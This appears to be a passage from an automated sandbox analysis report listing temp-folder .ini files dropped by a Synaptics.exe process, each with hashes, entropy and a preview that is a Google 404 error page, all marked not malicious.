SHA-512:	82E56F4859DC10A74116F2140204388004730DC8BB91B8C58B0500D9137C9B1FDF44BAE361BCED0CB26E72DAF9F61DF63BA9DD9EED7C122BEFA40C45056718CC
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Ychchi9qLpmucugzQHPryQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\dkgz43w.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267633915937188
Encrypted:	false
SSDEEP:	24:GgsF+0xSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+C+pAZewRDK4mW
MD5:	6B057F022B69CC2EFDB700A9CA83EE77
SHA1:	709E5AB0E80B5F7FDDF61766276F5D00FFB55EAD
SHA-256:	2E9257CC844174346ABA39DE554FC44440DC9D0474745F61840FEC495276E56E
SHA-512:	056DD891ED63A8C7497D4D23D2201634F636E246955A789365485A353B12CFF99AC8E47E1F439B4F54880DF778401DE945EC09CDDCB56C9735A5B5C7B917CB32
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PnaLuRIObvXrsPYz5LOLkQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\eW1414i.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.267486566715959
Encrypted:	false
SSDEEP:	24:GgsF+0rSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+0+pAZewRDK4mW
MD5:	A0FAD609B69F3ABF516A6AE1E475DFEA
SHA1:	5D8AEAB17B8F2DE1FCC9443A1E1D61E27950B8CD
SHA-256:	D19044FDB8FD31A51DDC11D46F8F213909102378D8EBBC8D1CDB544DAF9B6199
SHA-512:	6B839B204BFA8718DBFDC55E6A158E6A447B6C44DCADA401B02E9C9146F65DF17117D220F614B1FFCBCCE7373CD6516767FE167AD94F240B25A1FE73D7D3EC71
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QgMP0YgsXON_QqY2V-uW1g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\f63yeEd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.27448390310628
Encrypted:	false
SSDEEP:	24:GgsF+02JzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tp+pAZewRDK4mW
MD5:	F85E9C9E96897D6658FD5E209F4C0583
SHA1:	7F354382F35D0ED80D56208A3C39CDD0B73414EF
SHA-256:	AB2E824FE754B559BB3F5F15BB825BA520D3C47F01932A52DC0568CE8D5E2CFB
SHA-512:	76255846F2DAC276759CCF948247630CB2304751CAB8BED4821229E149E6760B55780B66B147D756794BFB0CF54D9F0761AFEB4B5EDDF6B2615AA1AE57430CAE
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="DiZwM9cH3aSA8Wz_CmWR6w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fNXIeCL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.253828060035936
Encrypted:	false
SSDEEP:	24:GgsF+0MESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+dE+pAZewRDK4mW
MD5:	358CA0603192B27FBBF3EAD2939CAE5F
SHA1:	61C9C198B28B996BD00228FAE963FC881D6C1E90
SHA-256:	36AA07CB08AD44ADE26FBE0045055B402FE0BD93EEDC5590A5264A2CE942949F
SHA-512:	2FEA9CDB54AFAD69C5105590F0B0F843E3EAEDA8A8CAD180DF61869777F093D97B74227423A9A9C77E377A85C043901C043A126ACB36F5B0606CB553460116FD
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rlL5mg-bCR3mgBoJRP9uxA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fQU4bmB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2641292114336515
Encrypted:	false
SSDEEP:	24:GgsF+0jSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+g+pAZewRDK4mW
MD5:	C878312E834E59228B874FEA86A5798D
SHA1:	94F3BC03A172D531E2E83EC7109BB4E9B5530655
SHA-256:	CF2866CB6BFD50C3E20C44CAB34390DD718BE45B2B7BEAD7895D8B86E464C555
SHA-512:	0D7ED8455A97829EFCBF895A317725B648152750CE365A08E82BDE2DCC3AD704F2A4ABBB386A7AE694F6A47F3FA0D5D0D571B74520D04B9C9E2C8226239BB176
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="A6WTX_nppKl7WG1yDta6uQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\fWC6HiJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.246884259425936
Encrypted:	false
SSDEEP:	24:GgsF+0VQSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+mQ+pAZewRDK4mW
MD5:	8F0EFF7D519004EA1596C9482630BA18
SHA1:	90C4524C93A6E4E27369F2427B1EADF73D75FB5E
SHA-256:	3BA1C9672DEB0F84D03F2066A193C8061922BD8118E5A30581C51EC6F237D31B
SHA-512:	8B098E63E24B59C9DE8CBEF0B0FF8F24B185705C646EFCC5626A261851D01DBE090F3A32A41E80626A7A488AAAC60973F62D676277B2148D964180FE5A0E3E15
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GSfinMdhigSOAxhp-ts1Bg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gX79b2V.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.25449567816051
Encrypted:	false
SSDEEP:	24:GgsF+0sOSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+k+pAZewRDK4mW
MD5:	9FFB9F61194FB0364D4748E944307C09
SHA1:	89E1D627AF3700CD9437645C5370F67AE5F8EFD8
SHA-256:	7ECC93930E48E62B25E8D7F8B6BC7679CF844882DE68BA5E1C4AB42D291BD268
SHA-512:	BFE8FB4F224A04D474825F0746DA994475AED7FBC61C5444B6A7D01AA6FA69997F582DE0A4FFF767C5A87BBBCAD81025AC8793DF8F7ABF009242B1FC7085DBF3
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wAMLqXY49F5XlagtohHobg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gcn55jx.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.2624448658429115
Encrypted:	false
SSDEEP:	24:GgsF+0qDwSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+tw+pAZewRDK4mW
MD5:	DF009ADB081655A9499F26AB041C781E
SHA1:	256571484A347FEB7BD0B129527286FE50827BE3
SHA-256:	1E0D534C535E1437E6D307363DC6DFA525EED9D31858B13A1CA7C46EBA7AD5C9
SHA-512:	1F7948E35DF0677A1C13B7A8C575EF5628A0916D26A81C50B7ED3AE027CFDB714C5364731BE48B5C26B4375C4EF377B66B3FA09634EB609EC23881FE32619997
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="HpKFQx6sjLkz0aBxNpzemQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\gvL7q1I.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.272830419498396
Encrypted:	false
SSDEEP:	24:GgsF+0BSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	DB1B4AD6AEA4EC983DAE26FBFCBA0FBF
SHA1:	063F97D860F23952CFA2E73247E35BD1636C8D90
SHA-256:	7714212FAEE62E330D29FE099B1175529E0DAD298251B501FA4379DD39CE001D
SHA-512:	DD033D8CDA3A15F5E8A7C20DBFB56722C1425827CCF1D2B7E41C92B33A9EF13EFAAA73E9FAA6C5070062FF50E23C19DF2BE73E640E6949723652BD370F11790F
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ThPjd_xZOP_ZQTLnKGEu_A">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\h9UJLaZ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.271292101065796
Encrypted:	false
SSDEEP:	24:GgsF+0xkSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+8k+pAZewRDK4mW
MD5:	D55CEA679256E6F6B47D032C9F398106
SHA1:	DF6D6B46406A3B431BBC94A15251C296F03F98F7
SHA-256:	6E6F974179F53CD562152EB3A86AFA1856923E0C10533DE181819DB13D12B4C0
SHA-512:	D22E4F5F8FBA1F2C753EEAB9727463E014792DE0C99F3EE4F5E1093AB4E4E6D4F782A6AE877567EC663D5D1704B4538849BF58F3570D55D68CF1CD122F466401
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="PuUwj7PIGVGy9aebHiIIJA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\hP2HDSL.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265481053401798
Encrypted:	false
SSDEEP:	24:GgsF+0TSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	7F38413A244B97540D79993340451342
SHA1:	E9EA1CF36343B9FD9FA5FA68B0CC1FAFBEAED428
SHA-256:	C08B42C19F0CCCE2B6F01D472CA30E02974BE69001BDF54C6C6898C2D7A726C4
SHA-512:	0E61C93372B62430E8E39C3CBC9E385B6DDACE93B5F5F7DCF73EEBDF531060D6F0341C04A0B3E2FB53A39421E205317FCEAACBCB63B4EE9EA73F4E728ADBDB9A
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="0med3ZSxI8_N3uOW1FazOA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\hezzPX7.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263725722603262
Encrypted:	false
SSDEEP:	24:GgsF+0rSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+U+pAZewRDK4mW
MD5:	DD29E80249872C32AA36D9D8E5E443F5
SHA1:	4A31C1C07A36E824B09503C8DE08212EAB98160C
SHA-256:	235C154B3C5213FBADB710CA7B357F881ADB8A6997DC87B49C738C23CCC2FABF
SHA-512:	E09A34286E9B26B368F7148AE87AA6709AFFAEDEF1CCC01294214CC184792E862AE80C7D1363CEC838A2F4669379E009E42C7BB8150A0FDEDFDA897634B5F94E
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KbDoh8S19JW7WcMl1NmvoQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iAA1zMS.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.280145512657072
Encrypted:	false
SSDEEP:	24:GgsF+0ESU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+/+pAZewRDK4mW
MD5:	4F06B31B80AEFD2F767DFC57053DCB04
SHA1:	D6804C2FA2A548B730CC6C831AFAAB11CA6349D4
SHA-256:	25112F4D8E91919C4B0E516FE30CF6104F3D9143C6B83F3EE01267F3D64C2232
SHA-512:	886CA32D3104361E5E40403250E7759695CA163AF937CBEAC38E7092A8C415630E1DEF63CD0F750973EDED821C3890608508797FEE1F1649E5116FF2FA192DFA
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="kF8Am4QqHCOHLV7pZfU9ZA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iYQu5Lv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.260719727527338
Encrypted:	false
SSDEEP:	24:GgsF+0XSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+E+pAZewRDK4mW
MD5:	BE6545207B82DB6A855E93ADADC9D6B0
SHA1:	5728EE323938C3E3F1B083850B2821543466B0B4
SHA-256:	25F64377AA951E99EEFEC231734BE16FB509F9F45F37B4BF18A6565B62DBA7D8
SHA-512:	D4082D3425B0F8DE544EBD2573B95E3CBF3E6FED923B61A8A7AE506253851CED71DAF640474962018B3292E1F56D4D032984E21656A84302A0C614AF194421BF
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="g7intrOLWv2ZHClJ1SSkCg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iqlvRiF.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.254791781376585
Encrypted:	false
SSDEEP:	24:GgsF+0AJdzSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+xdz+pAZewRDK4mW
MD5:	43052FD34DAD7C6060D4F2A7BE70B821
SHA1:	A247F6CF5EDEE87D4B6E5C16E0F20C18B9A61760
SHA-256:	B3E13DBB0A92C226CF632E65F9665FAAF436484077F1E7E9DBEBACDEE5BDB429
SHA-512:	89D49E6B9C8A85F18BE7CC84C70EE90A9DF74E47298B3FBED5D453C55C04CE391E8BCAE902FEE92D1FA0272E8BD8C31694DC2ACB9CEEEDAF5BC24BE58198A079
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="28lW--gN-zO7Nhjq-Th8_w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\iumEHKy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.26587818630776
Encrypted:	false
SSDEEP:	24:GgsF+0IJ7WSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+m+pAZewRDK4mW
MD5:	609CCC2463B16220ACA47A0759AC7B45
SHA1:	381DE6923A0F45083C138D20C922E7E85C0B9A88
SHA-256:	3C98B3831A76FD45170EE240B6AED9E1B5511A1AACAD50A34E10641C707F8A0C
SHA-512:	3A9BE9A6DD8EF8637DC297E1D10665D0B2ECE24A7E38994988C1923B6E421368E03C5D9ADA3F6C05BBAAE549AB41093EC1359DF389CF8A76BCBA6AA3FB6F93B6
Malicious:	false
